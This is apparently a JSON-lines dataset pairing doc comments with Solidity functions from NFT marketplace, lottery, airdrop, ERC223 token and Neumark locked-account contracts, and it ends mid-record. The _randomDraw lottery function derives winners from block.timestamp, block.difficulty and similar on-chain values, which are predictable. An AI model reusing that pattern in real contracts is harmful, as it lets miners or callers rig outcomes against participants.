{"comment": "/**\n * @dev Distributes funds to blocksport, creator, and NFT owner after a sale.\n */", "function_code": "function _distributeFunds(\n address nftContract,\n uint256 tokenId,\n address payable seller,\n uint256 price\n )\n internal\n returns (\n uint256 blocksportFee,\n uint256 creatorFee,\n uint256 ownerRev\n )\n {\n address payable creatorFeeTo;\n address payable ownerRevTo;\n (\n blocksportFee,\n creatorFeeTo,\n creatorFee,\n ownerRevTo,\n ownerRev\n ) = _getFees(nftContract, tokenId, seller, price);\n\n // Anytime fees are distributed that indicates the first sale is complete,\n // which will not change state during a secondary sale.\n // This must come after the `_getFees` call above as this state is considered in the function.\n nftContractToTokenIdToFirstSaleCompleted[nftContract][tokenId] = true;\n\n _sendValueWithFallbackWithdrawWithLowGasLimit(\n getBlocksportTreasury(),\n blocksportFee\n );\n _sendValueWithFallbackWithdrawWithMediumGasLimit(\n creatorFeeTo,\n creatorFee\n );\n _sendValueWithFallbackWithdrawWithMediumGasLimit(ownerRevTo, ownerRev);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Allows blocksport to change the market fees.\n */", "function_code": "function _updateMarketFees(\n uint256 primaryBlocksportFeeBasisPoints,\n uint256 secondaryBlocksportFeeBasisPoints,\n uint256 secondaryCreatorFeeBasisPoints\n ) internal {\n require(\n primaryBlocksportFeeBasisPoints < BASIS_POINTS,\n \"NFTMarketFees: Fees >= 100%\"\n );\n require(\n secondaryBlocksportFeeBasisPoints.add(\n secondaryCreatorFeeBasisPoints\n ) < BASIS_POINTS,\n \"NFTMarketFees: Fees >= 100%\"\n );\n _primaryBlocksportFeeBasisPoints = primaryBlocksportFeeBasisPoints;\n _secondaryBlocksportFeeBasisPoints = secondaryBlocksportFeeBasisPoints;\n _secondaryCreatorFeeBasisPoints = secondaryCreatorFeeBasisPoints;\n\n emit MarketFeesUpdated(\n primaryBlocksportFeeBasisPoints,\n secondaryBlocksportFeeBasisPoints,\n secondaryCreatorFeeBasisPoints\n );\n }", "version": "0.8.4"} {"comment": "// Swap Hooks", "function_code": "function onSwap(\n SwapRequest memory swapRequest,\n uint256[] memory balances,\n uint256 indexIn,\n uint256 indexOut\n ) external view virtual override returns (uint256) {\n _validateIndexes(indexIn, indexOut, _getTotalTokens());\n uint256[] memory scalingFactors = _scalingFactors();\n\n return\n swapRequest.kind == IVault.SwapKind.GIVEN_IN\n ? _swapGivenIn(swapRequest, balances, indexIn, indexOut, scalingFactors)\n : _swapGivenOut(swapRequest, balances, indexIn, indexOut, scalingFactors);\n }", "version": "0.7.1"} {"comment": "/**\n * @dev Random draw lottery winners from an array of addresses, mint NFT,\n * and emit an event to record winners.\n *\n * Emits a {LotteryWinners} event.\n */", "function_code": "function drawLottery(address[] calldata addresses_, uint256 amount_)\n public\n onlyOwner\n {\n // empty array to store winner addresses\n address[] memory winners = _randomDraw(addresses_, amount_);\n\n // batch mint NFT for winners\n batchMint(winners, 1);\n\n // record lottery winners\n emit LotteryWinners(winners);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Random draw from an array of addresses and return the result.\n */", "function_code": "function _randomDraw(address[] memory addresses_, uint256 amount_)\n public\n view\n returns (address[] memory result)\n {\n require(\n amount_ <= addresses_.length,\n \"amount_ must be less than or equal to addresses_.length\"\n );\n\n // empty array to store result\n result = new address[](amount_);\n\n for (uint256 i = 0; i < amount_; i++) {\n uint256 random = uint256(\n keccak256(\n abi.encodePacked(\n i,\n msg.sender,\n block.coinbase,\n block.difficulty,\n block.gaslimit,\n block.timestamp\n )\n )\n ) % (addresses_.length - i);\n\n result[i] = addresses_[random];\n\n addresses_[random] = addresses_[addresses_.length - i - 1];\n }\n\n return result;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Append a new log to logbook\n *\n * Emits a {LogbookNewLog} event.\n */", "function_code": "function appendLog(uint256 tokenId_, string calldata message_) public {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId_),\n \"caller is not owner nor approved\"\n );\n require(!logbook[tokenId_].isLocked, \"logbook is locked\");\n\n address owner = ERC721.ownerOf(tokenId_);\n Log memory newLog = Log({\n sender: owner,\n message: message_,\n createdAt: block.timestamp\n });\n\n logbook[tokenId_].logs.push(newLog);\n logbook[tokenId_].isLocked = true;\n\n emit LogbookNewLog(tokenId_, logbook[tokenId_].logs.length - 1, owner);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Batch mint NFTs to an array of addresses, require enough supply left.\n * @return the minted token ids\n */", "function_code": "function batchMint(address[] memory addresses_, uint16 amount_)\n public\n onlyOwner\n returns (uint256[] memory)\n {\n require(\n totalSupply >= addresses_.length * amount_ + _tokenIds.current(),\n \"not enough supply\"\n );\n\n uint256[] memory ids = new uint256[](addresses_.length * amount_);\n for (uint16 i = 0; i < addresses_.length; i++) {\n for (uint16 j = 0; j < amount_; j++) {\n _tokenIds.increment();\n\n uint256 newItemId = _tokenIds.current();\n _safeMint(addresses_[i], newItemId);\n\n ids[i * amount_ + j] = newItemId;\n }\n }\n\n return ids;\n }", "version": "0.8.4"} {"comment": "// start or stop pre-order\n// @param start_: start or end pre-order flag\n// @param amount_: minimum contribution amount\n// @param supply_: pre-order supply", "function_code": "function setInPreOrder(\n bool start_,\n uint256 amount_,\n uint256 supply_\n ) public onlyOwner {\n if (start_ == true) {\n require(amount_ > 0, \"zero amount\");\n // number of pre-order supply shall be less or equal to the number of total supply\n require(\n supply_ > 0 && supply_ <= totalSupply,\n \"incorrect pre-order supply\"\n );\n preOrderMinAmount = amount_;\n preOrderSupply = supply_;\n inPreOrder = true;\n } else {\n inPreOrder = false;\n }\n }", "version": "0.8.4"} {"comment": "// place a pre-order\n// @param n - number of NFTs to order", "function_code": "function preOrder(uint256 n) public payable {\n require(inPreOrder == true, \"pre-order not started\");\n require(preOrderMinAmount > 0, \"zero minimum amount\");\n // validation against the minimum contribution amount\n require(\n n > 0 && msg.value >= preOrderMinAmount * n,\n \"amount too small\"\n );\n // shall not exceed pre-order supply\n require(\n _preOrderMintIndex.current() + n <= preOrderSupply,\n \"reach pre-order supply\"\n );\n\n if (_preOrders[msg.sender] <= 0) {\n // shall not exceed pre-order limit\n require(n <= preOrderLimit, \"reach order limit\");\n\n _preOrders[msg.sender] = n;\n } else {\n // shall not exceed pre-order limit\n require(\n n + _preOrders[msg.sender] <= preOrderLimit,\n \"reach order limit\"\n );\n\n // if the participant has ordered before\n _preOrders[msg.sender] += n;\n }\n\n for (uint256 i = 0; i < n; i++) {\n _tokenIds.increment();\n _preOrderMintIndex.increment();\n\n uint256 newItemId = _tokenIds.current();\n _safeMint(msg.sender, newItemId);\n }\n emit PreOrderMinted(msg.sender, n);\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice Fetch Award from airdrop\r\n * @param _id Airdrop id\r\n * @param _recipient Airdrop recipient\r\n * @param _amount The token amount\r\n * @param _proof Merkle proof to correspond to data supplied\r\n */", "function_code": "function award(\r\n uint256 _id,\r\n address _recipient,\r\n uint256 _amount,\r\n bytes32[] memory _proof\r\n ) public {\r\n require(_id <= airdropsCount, ERROR_INVALID);\r\n\r\n Airdrop storage airdrop = airdrops[_id];\r\n require(!airdrop.paused, ERROR_PAUSED);\r\n\r\n bytes32 hash = keccak256(abi.encodePacked(_recipient, _amount));\r\n require(validate(airdrop.root, _proof, hash), ERROR_INVALID);\r\n\r\n require(!airdrops[_id].awarded[_recipient], ERROR_AWARDED);\r\n\r\n airdrops[_id].awarded[_recipient] = true;\r\n\r\n uint256 bal = token.balanceOf(address(this));\r\n if (bal >= _amount) {\r\n token.transfer(_recipient, _amount);\r\n } else {\r\n revert(\"INVALID_CONTRACT_BALANCE\");\r\n }\r\n\r\n emit Award(_id, _recipient, _amount);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Fetch Award from many airdrops\r\n * @param _ids Airdrop ids\r\n * @param _recipient Recepient of award\r\n * @param _amounts The amounts\r\n * @param _proofs Merkle proofs\r\n * @param _proofLengths Merkle proof lengths\r\n */", "function_code": "function awardFromMany(\r\n uint256[] memory _ids,\r\n address _recipient,\r\n uint256[] memory _amounts,\r\n bytes memory _proofs,\r\n uint256[] memory _proofLengths\r\n ) public {\r\n uint256 totalAmount;\r\n\r\n uint256 marker = 32;\r\n\r\n for (uint256 i = 0; i < _ids.length; i++) {\r\n uint256 id = _ids[i];\r\n require(id <= airdropsCount, ERROR_INVALID);\r\n require(!airdrops[id].paused, ERROR_PAUSED);\r\n\r\n bytes32[] memory proof =\r\n extractProof(_proofs, marker, _proofLengths[i]);\r\n marker += _proofLengths[i] * 32;\r\n\r\n bytes32 hash = keccak256(abi.encodePacked(_recipient, _amounts[i]));\r\n require(validate(airdrops[id].root, proof, hash), ERROR_INVALID);\r\n\r\n require(!airdrops[id].awarded[_recipient], ERROR_AWARDED);\r\n\r\n airdrops[id].awarded[_recipient] = true;\r\n\r\n totalAmount += _amounts[i];\r\n\r\n emit Award(id, _recipient, _amounts[i]);\r\n }\r\n\r\n uint256 bal = token.balanceOf(address(this));\r\n if (bal >= totalAmount) {\r\n token.transfer(_recipient, totalAmount);\r\n } else {\r\n revert(\"INVALID_CONTRACT_BALANCE\");\r\n }\r\n }", "version": "0.5.17"} {"comment": "//\n// Implements IAccessControlled\n//", "function_code": "function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)\r\n public\r\n only(ROLE_ACCESS_CONTROLLER)\r\n {\r\n // ROLE_ACCESS_CONTROLLER must be present\r\n // under the new policy. This provides some\r\n // protection against locking yourself out.\r\n require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig));\r\n\r\n // We can now safely set the new policy without foot shooting.\r\n IAccessPolicy oldPolicy = _accessPolicy;\r\n _accessPolicy = newPolicy;\r\n\r\n // Log event\r\n emit LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy);\r\n }", "version": "0.4.25"} {"comment": "////////////////////////\n/// translates uint256 to struct", "function_code": "function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) {\r\n // for memory layout of struct, each field below word length occupies whole word\r\n assembly {\r\n mstore(claims, and(data, 0x1))\r\n mstore(add(claims, 0x20), div(and(data, 0x2), 0x2))\r\n mstore(add(claims, 0x40), div(and(data, 0x4), 0x4))\r\n mstore(add(claims, 0x60), div(and(data, 0x8), 0x8))\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on\n/// its behalf. This is a modified version of the ERC20 approve function\n/// where allowance per spender must be 0 to allow change of such allowance\n/// @param spender The address of the account able to transfer the tokens\n/// @param amount The amount of tokens to be approved for transfer\n/// @return True or reverts, False is never returned", "function_code": "function approve(address spender, uint256 amount)\r\n public\r\n returns (bool success)\r\n {\r\n // Alerts the token controller of the approve function call\r\n require(mOnApprove(msg.sender, spender, amount));\r\n\r\n // To change the approve amount you first have to reduce the addresses`\r\n // allowance to zero by calling `approve(_spender,0)` if it is not\r\n // already 0 to mitigate the race condition described here:\r\n // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n require((amount == 0 || _allowed[msg.sender][spender] == 0) && mAllowanceOverride(msg.sender, spender) == 0);\r\n\r\n _allowed[msg.sender][spender] = amount;\r\n emit Approval(msg.sender, spender, amount);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/// @notice convenience function to withdraw and transfer to external account\n/// @param sendTo address to which send total amount\n/// @param amount total amount to withdraw and send\n/// @dev function is payable and is meant to withdraw funds on accounts balance and token in single transaction\n/// @dev BEWARE that msg.sender of the funds is Ether Token contract and not simple account calling it.\n/// @dev when sent to smart conctract funds may be lost, so this is prevented below", "function_code": "function withdrawAndSend(address sendTo, uint256 amount)\r\n public\r\n payable\r\n {\r\n // must send at least what is in msg.value to being another deposit function\r\n require(amount >= msg.value, \"NF_ET_NO_DEPOSIT\");\r\n if (amount > msg.value) {\r\n uint256 withdrawRemainder = amount - msg.value;\r\n withdrawPrivate(withdrawRemainder);\r\n }\r\n emit LogWithdrawAndSend(msg.sender, sendTo, amount);\r\n sendTo.transfer(amount);\r\n }", "version": "0.4.25"} {"comment": "//\n// Implements IERC223Token\n//", "function_code": "function transfer(address to, uint256 amount, bytes data)\r\n public\r\n returns (bool)\r\n {\r\n BasicToken.mTransfer(msg.sender, to, amount);\r\n\r\n // Notify the receiving contract.\r\n if (isContract(to)) {\r\n // in case of re-entry (1) transfer is done (2) msg.sender is different\r\n IERC223Callback(to).tokenFallback(msg.sender, amount, data);\r\n }\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "////////////////////////\n/// @notice deposit 'amount' of EUR-T to address 'to', attaching correlating `reference` to LogDeposit event\n/// @dev deposit may happen only in case 'to' can receive transfer in token controller\n/// by default KYC is required to receive deposits", "function_code": "function deposit(address to, uint256 amount, bytes32 reference)\r\n public\r\n only(ROLE_EURT_DEPOSIT_MANAGER)\r\n onlyIfDepositAllowed(to, amount)\r\n acceptAgreement(to)\r\n {\r\n require(to != address(0));\r\n _balances[to] = add(_balances[to], amount);\r\n _totalSupply = add(_totalSupply, amount);\r\n emit LogDeposit(to, msg.sender, amount, reference);\r\n emit Transfer(address(0), to, amount);\r\n }", "version": "0.4.25"} {"comment": "//\n// Implements MTokenController\n//", "function_code": "function mOnTransfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n )\r\n internal\r\n acceptAgreement(from)\r\n returns (bool allow)\r\n {\r\n address broker = msg.sender;\r\n if (broker != from) {\r\n // if called by the depositor (deposit and send), ignore the broker flag\r\n bool isDepositor = accessPolicy().allowed(msg.sender, ROLE_EURT_DEPOSIT_MANAGER, this, msg.sig);\r\n // this is not very clean but alternative (give brokerage rights to all depositors) is maintenance hell\r\n if (isDepositor) {\r\n broker = from;\r\n }\r\n }\r\n return _tokenController.onTransfer(broker, from, to, amount);\r\n }", "version": "0.4.25"} {"comment": "/// @notice internal transfer function that checks permissions and calls the tokenFallback", "function_code": "function ierc223TransferInternal(address from, address to, uint256 amount, bytes data)\r\n private\r\n returns (bool success)\r\n {\r\n BasicToken.mTransfer(from, to, amount);\r\n\r\n // Notify the receiving contract.\r\n if (isContract(to)) {\r\n // in case of re-entry (1) transfer is done (2) msg.sender is different\r\n IERC223Callback(to).tokenFallback(from, amount, data);\r\n }\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "////////////////////////\n/// @notice returns additional amount of neumarks issued for euroUlps at totalEuroUlps\n/// @param totalEuroUlps actual curve position from which neumarks will be issued\n/// @param euroUlps amount against which neumarks will be issued", "function_code": "function incremental(uint256 totalEuroUlps, uint256 euroUlps)\r\n public\r\n pure\r\n returns (uint256 neumarkUlps)\r\n {\r\n require(totalEuroUlps + euroUlps >= totalEuroUlps);\r\n uint256 from = cumulative(totalEuroUlps);\r\n uint256 to = cumulative(totalEuroUlps + euroUlps);\r\n // as expansion is not monotonic for large totalEuroUlps, assert below may fail\r\n // example: totalEuroUlps=1.999999999999999999999000000e+27 and euroUlps=50\r\n assert(to >= from);\r\n return to - from;\r\n }", "version": "0.4.25"} {"comment": "/// @notice returns amount of euro corresponding to burned neumarks\n/// @param totalEuroUlps actual curve position from which neumarks will be burned\n/// @param burnNeumarkUlps amount of neumarks to burn", "function_code": "function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps)\r\n public\r\n pure\r\n returns (uint256 euroUlps)\r\n {\r\n uint256 totalNeumarkUlps = cumulative(totalEuroUlps);\r\n require(totalNeumarkUlps >= burnNeumarkUlps);\r\n uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;\r\n uint newTotalEuroUlps = cumulativeInverse(fromNmk, 0, totalEuroUlps);\r\n // yes, this may overflow due to non monotonic inverse function\r\n assert(totalEuroUlps >= newTotalEuroUlps);\r\n return totalEuroUlps - newTotalEuroUlps;\r\n }", "version": "0.4.25"} {"comment": "/// @notice returns amount of euro corresponding to burned neumarks\n/// @param totalEuroUlps actual curve position from which neumarks will be burned\n/// @param burnNeumarkUlps amount of neumarks to burn\n/// @param minEurUlps euro amount to start inverse search from, inclusive\n/// @param maxEurUlps euro amount to end inverse search to, inclusive", "function_code": "function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)\r\n public\r\n pure\r\n returns (uint256 euroUlps)\r\n {\r\n uint256 totalNeumarkUlps = cumulative(totalEuroUlps);\r\n require(totalNeumarkUlps >= burnNeumarkUlps);\r\n uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;\r\n uint newTotalEuroUlps = cumulativeInverse(fromNmk, minEurUlps, maxEurUlps);\r\n // yes, this may overflow due to non monotonic inverse function\r\n assert(totalEuroUlps >= newTotalEuroUlps);\r\n return totalEuroUlps - newTotalEuroUlps;\r\n }", "version": "0.4.25"} {"comment": "//\n// Implements ISnapshotable\n//", "function_code": "function createSnapshot()\r\n public\r\n returns (uint256)\r\n {\r\n uint256 base = dayBase(uint128(block.timestamp));\r\n\r\n if (base > _currentSnapshotId) {\r\n // New day has started, create snapshot for midnight\r\n _currentSnapshotId = base;\r\n } else {\r\n // within single day, increase counter (assume 2**128 will not be crossed)\r\n _currentSnapshotId += 1;\r\n }\r\n\r\n // Log and return\r\n emit LogSnapshotCreated(_currentSnapshotId);\r\n return _currentSnapshotId;\r\n }", "version": "0.4.25"} {"comment": "/// gets last value in the series", "function_code": "function getValue(\r\n Values[] storage values,\r\n uint256 defaultValue\r\n )\r\n internal\r\n constant\r\n returns (uint256)\r\n {\r\n if (values.length == 0) {\r\n return defaultValue;\r\n } else {\r\n uint256 last = values.length - 1;\r\n return values[last].value;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @dev `getValueAt` retrieves value at a given snapshot id\n/// @param values The series of values being queried\n/// @param snapshotId Snapshot id to retrieve the value at\n/// @return Value in series being queried", "function_code": "function getValueAt(\r\n Values[] storage values,\r\n uint256 snapshotId,\r\n uint256 defaultValue\r\n )\r\n internal\r\n constant\r\n returns (uint256)\r\n {\r\n require(snapshotId <= mCurrentSnapshotId());\r\n\r\n // Empty value\r\n if (values.length == 0) {\r\n return defaultValue;\r\n }\r\n\r\n // Shortcut for the out of bounds snapshots\r\n uint256 last = values.length - 1;\r\n uint256 lastSnapshot = values[last].snapshotId;\r\n if (snapshotId >= lastSnapshot) {\r\n return values[last].value;\r\n }\r\n uint256 firstSnapshot = values[0].snapshotId;\r\n if (snapshotId < firstSnapshot) {\r\n return defaultValue;\r\n }\r\n // Binary search of the value in the array\r\n uint256 min = 0;\r\n uint256 max = last;\r\n while (max > min) {\r\n uint256 mid = (max + min + 1) / 2;\r\n // must always return lower indice for approximate searches\r\n if (values[mid].snapshotId <= snapshotId) {\r\n min = mid;\r\n } else {\r\n max = mid - 1;\r\n }\r\n }\r\n return values[min].value;\r\n }", "version": "0.4.25"} {"comment": "/// @notice gets all token balances of 'owner'\n/// @dev intended to be called via eth_call where gas limit is not an issue", "function_code": "function allBalancesOf(address owner)\r\n external\r\n constant\r\n returns (uint256[2][])\r\n {\r\n /* very nice and working implementation below,\r\n // copy to memory\r\n Values[] memory values = _balances[owner];\r\n do assembly {\r\n // in memory structs have simple layout where every item occupies uint256\r\n balances := values\r\n } while (false);*/\r\n\r\n Values[] storage values = _balances[owner];\r\n uint256[2][] memory balances = new uint256[2][](values.length);\r\n for(uint256 ii = 0; ii < values.length; ++ii) {\r\n balances[ii] = [values[ii].snapshotId, values[ii].value];\r\n }\r\n\r\n return balances;\r\n }", "version": "0.4.25"} {"comment": "// get balance at snapshot if with continuation in parent token", "function_code": "function balanceOfAtInternal(address owner, uint256 snapshotId)\r\n internal\r\n constant\r\n returns (uint256)\r\n {\r\n Values[] storage values = _balances[owner];\r\n\r\n // If there is a value, return it, reverts if value is in the future\r\n if (hasValueAt(values, snapshotId)) {\r\n return getValueAt(values, snapshotId, 0);\r\n }\r\n\r\n // Try parent contract at or before the fork\r\n if (PARENT_TOKEN != address(0)) {\r\n uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;\r\n return PARENT_TOKEN.balanceOfAt(owner, earlierSnapshotId);\r\n }\r\n\r\n // Default to an empty balance\r\n return 0;\r\n }", "version": "0.4.25"} {"comment": "/// @notice Generates `amount` tokens that are assigned to `owner`\n/// @param owner The address that will be assigned the new tokens\n/// @param amount The quantity of tokens generated", "function_code": "function mGenerateTokens(address owner, uint256 amount)\r\n internal\r\n {\r\n // never create for address 0\r\n require(owner != address(0));\r\n // block changes in clone that points to future/current snapshots of patent token\r\n require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());\r\n\r\n uint256 curTotalSupply = totalSupply();\r\n uint256 newTotalSupply = curTotalSupply + amount;\r\n require(newTotalSupply >= curTotalSupply); // Check for overflow\r\n\r\n uint256 previousBalanceTo = balanceOf(owner);\r\n uint256 newBalanceTo = previousBalanceTo + amount;\r\n assert(newBalanceTo >= previousBalanceTo); // Check for overflow\r\n\r\n setValue(_totalSupplyValues, newTotalSupply);\r\n setValue(_balances[owner], newBalanceTo);\r\n\r\n emit Transfer(0, owner, amount);\r\n }", "version": "0.4.25"} {"comment": "////////////////////////\n/// @notice issues new Neumarks to msg.sender with reward at current curve position\n/// moves curve position by euroUlps\n/// callable only by ROLE_NEUMARK_ISSUER", "function_code": "function issueForEuro(uint256 euroUlps)\r\n public\r\n only(ROLE_NEUMARK_ISSUER)\r\n acceptAgreement(msg.sender)\r\n returns (uint256)\r\n {\r\n require(_totalEurUlps + euroUlps >= _totalEurUlps);\r\n uint256 neumarkUlps = incremental(_totalEurUlps, euroUlps);\r\n _totalEurUlps += euroUlps;\r\n mGenerateTokens(msg.sender, neumarkUlps);\r\n emit LogNeumarksIssued(msg.sender, euroUlps, neumarkUlps);\r\n return neumarkUlps;\r\n }", "version": "0.4.25"} {"comment": "//\n// Implements IERC223Token with IERC223Callback (onTokenTransfer) callback\n//\n// old implementation of ERC223 that was actual when ICBM was deployed\n// as Neumark is already deployed this function keeps old behavior for testing", "function_code": "function transfer(address to, uint256 amount, bytes data)\r\n public\r\n returns (bool)\r\n {\r\n // it is necessary to point out implementation to be called\r\n BasicSnapshotToken.mTransfer(msg.sender, to, amount);\r\n\r\n // Notify the receiving contract.\r\n if (isContract(to)) {\r\n IERC223LegacyCallback(to).onTokenTransfer(msg.sender, amount, data);\r\n }\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Creates the contract with up to 16 owners\r\n * shares must be > 0\r\n */", "function_code": "function MultiOwnable (address[16] _owners_dot_recipient, uint[16] _owners_dot_share) { \r\nOwner[16] memory _owners;\r\n\r\nfor(uint __recipient_iterator__ = 0; __recipient_iterator__ < _owners_dot_recipient.length;__recipient_iterator__++)\r\n _owners[__recipient_iterator__].recipient = address(_owners_dot_recipient[__recipient_iterator__]);\r\nfor(uint __share_iterator__ = 0; __share_iterator__ < _owners_dot_share.length;__share_iterator__++)\r\n _owners[__share_iterator__].share = uint(_owners_dot_share[__share_iterator__]);\r\n for(var idx = 0; idx < _owners_dot_recipient.length; idx++) {\r\n if(_owners[idx].recipient != 0) {\r\n owners.push(_owners[idx]);\r\n assert(owners[idx].share > 0);\r\n ownersIdx[_owners[idx].recipient] = true;\r\n }\r\n }\r\n }", "version": "0.4.15"} {"comment": "////////////////////////\n/// @notice locks funds of investors for a period of time\n/// @param investor funds owner\n/// @param amount amount of funds locked\n/// @param neumarks amount of neumarks that needs to be returned by investor to unlock funds\n/// @dev callable only from controller (Commitment) contract", "function_code": "function lock(address investor, uint256 amount, uint256 neumarks)\r\n public\r\n onlyState(LockState.AcceptingLocks)\r\n onlyController()\r\n {\r\n require(amount > 0);\r\n // transfer to itself from Commitment contract allowance\r\n assert(ASSET_TOKEN.transferFrom(msg.sender, address(this), amount));\r\n\r\n Account storage account = _accounts[investor];\r\n account.balance = addBalance(account.balance, amount);\r\n account.neumarksDue = add(account.neumarksDue, neumarks);\r\n\r\n if (account.unlockDate == 0) {\r\n // this is new account - unlockDate always > 0\r\n _totalInvestors += 1;\r\n account.unlockDate = currentTime() + LOCK_PERIOD;\r\n }\r\n emit LogFundsLocked(investor, amount, neumarks);\r\n }", "version": "0.4.25"} {"comment": "/// @notice unlocks investors funds, see unlockInvestor for details\n/// @dev this ERC667 callback by Neumark contract after successful approve\n/// allows to unlock and allow neumarks to be burned in one transaction", "function_code": "function receiveApproval(\r\n address from,\r\n uint256, // _amount,\r\n address _token,\r\n bytes _data\r\n )\r\n public\r\n onlyState(LockState.AcceptingUnlocks)\r\n returns (bool)\r\n {\r\n require(msg.sender == _token);\r\n require(_data.length == 0);\r\n\r\n // only from neumarks\r\n require(_token == address(NEUMARK));\r\n\r\n // this will check if allowance was made and if _amount is enough to\r\n // unlock, reverts on any error condition\r\n unlockInvestor(from);\r\n\r\n // we assume external call so return value will be lost to clients\r\n // that's why we throw above\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/// migrates single investor", "function_code": "function migrate()\r\n public\r\n onlyMigrationEnabled()\r\n {\r\n // migrates\r\n Account memory account = _accounts[msg.sender];\r\n\r\n // return on non existing accounts silently\r\n if (account.balance == 0) {\r\n return;\r\n }\r\n\r\n // this will clear investor storage\r\n removeInvestor(msg.sender, account.balance);\r\n\r\n // let migration target to own asset balance that belongs to investor\r\n assert(ASSET_TOKEN.approve(address(_migration), account.balance));\r\n ICBMLockedAccountMigration(_migration).migrateInvestor(\r\n msg.sender,\r\n account.balance,\r\n account.neumarksDue,\r\n account.unlockDate\r\n );\r\n emit LogInvestorMigrated(msg.sender, account.balance, account.neumarksDue, account.unlockDate);\r\n }", "version": "0.4.25"} {"comment": "////////////////////////\n/// @notice commits funds in one of offerings on the platform\n/// @param commitment commitment contract with token offering\n/// @param amount amount of funds to invest\n/// @dev data ignored, to keep compatibility with ERC223\n/// @dev happens via ERC223 transfer and callback", "function_code": "function transfer(address commitment, uint256 amount, bytes /*data*/)\r\n public\r\n onlyIfCommitment(commitment)\r\n {\r\n require(amount > 0, \"NF_LOCKED_NO_ZERO\");\r\n Account storage account = _accounts[msg.sender];\r\n // no overflow with account.balance which is uint112\r\n require(account.balance >= amount, \"NF_LOCKED_NO_FUNDS\");\r\n // calculate unlocked NEU as proportion of invested amount to account balance\r\n uint112 unlockedNmkUlps = uint112(\r\n proportion(\r\n account.neumarksDue,\r\n amount,\r\n account.balance\r\n )\r\n );\r\n account.balance = subBalance(account.balance, uint112(amount));\r\n // will not overflow as amount < account.balance so unlockedNmkUlps must be >= account.neumarksDue\r\n account.neumarksDue -= unlockedNmkUlps;\r\n // track investment\r\n Account storage investment = _commitments[address(commitment)][msg.sender];\r\n investment.balance += uint112(amount);\r\n investment.neumarksDue += unlockedNmkUlps;\r\n // invest via ERC223 interface\r\n assert(PAYMENT_TOKEN.transfer(commitment, amount, abi.encodePacked(msg.sender)));\r\n emit LogFundsCommitted(msg.sender, commitment, amount, unlockedNmkUlps);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Transfers `amount` of tokens to `to` address\r\n * @param to - address to transfer to\r\n * @param amount - amount of tokens to transfer\r\n * @return success - `true` if the transfer was succesful, `false` otherwise\r\n */", "function_code": "function transfer (address to, uint256 amount) returns (bool success) { \r\n if(balances[msg.sender] < amount)\r\n return false;\r\n\r\n if(amount <= 0)\r\n return false;\r\n\r\n if(balances[to] + amount <= balances[to])\r\n return false;\r\n\r\n balances[msg.sender] -= amount;\r\n balances[to] += amount;\r\n Transfer(msg.sender, to, amount);\r\n return true;\r\n }", "version": "0.4.15"} {"comment": "/// @notice refunds investor in case of failed offering\n/// @param investor funds owner\n/// @dev callable only by ETO contract, bookkeeping in LockedAccount::_commitments\n/// @dev expected that ETO makes allowance for transferFrom", "function_code": "function refunded(address investor)\r\n public\r\n {\r\n Account memory investment = _commitments[msg.sender][investor];\r\n // return silently when there is no refund (so commitment contracts can blank-call, less gas used)\r\n if (investment.balance == 0)\r\n return;\r\n // free gas here\r\n delete _commitments[msg.sender][investor];\r\n Account storage account = _accounts[investor];\r\n // account must exist\r\n require(account.unlockDate > 0, \"NF_LOCKED_ACCOUNT_LIQUIDATED\");\r\n // add refunded amount\r\n account.balance = addBalance(account.balance, investment.balance);\r\n account.neumarksDue = add112(account.neumarksDue, investment.neumarksDue);\r\n // transfer to itself from Commitment contract allowance\r\n assert(PAYMENT_TOKEN.transferFrom(msg.sender, address(this), investment.balance));\r\n emit LogFundsRefunded(investor, msg.sender, investment.balance, investment.neumarksDue);\r\n }", "version": "0.4.25"} {"comment": "/// @notice changes migration destination for msg.sender\n/// @param destinationWallet where migrate funds to, must have valid verification claims\n/// @dev msg.sender has funds in old icbm wallet and calls this function on new icbm wallet before s/he migrates", "function_code": "function setInvestorMigrationWallet(address destinationWallet)\r\n public\r\n {\r\n Destination[] storage destinations = _destinations[msg.sender];\r\n // delete old destinations\r\n if(destinations.length > 0) {\r\n delete _destinations[msg.sender];\r\n }\r\n // new destination for the whole amount\r\n addDestination(destinations, destinationWallet, 0);\r\n }", "version": "0.4.25"} {"comment": "/// @dev if one of amounts is > 2**112, solidity will pass modulo value, so for 2**112 + 1, we'll get 1\n/// and that's fine", "function_code": "function setInvestorMigrationWallets(address[] wallets, uint112[] amounts)\r\n public\r\n {\r\n require(wallets.length == amounts.length);\r\n Destination[] storage destinations = _destinations[msg.sender];\r\n // delete old destinations\r\n if(destinations.length > 0) {\r\n delete _destinations[msg.sender];\r\n }\r\n uint256 idx;\r\n while(idx < wallets.length) {\r\n addDestination(destinations, wallets[idx], amounts[idx]);\r\n idx += 1;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @notice returns current set of destination wallets for investor migration", "function_code": "function getInvestorMigrationWallets(address investor)\r\n public\r\n constant\r\n returns (address[] wallets, 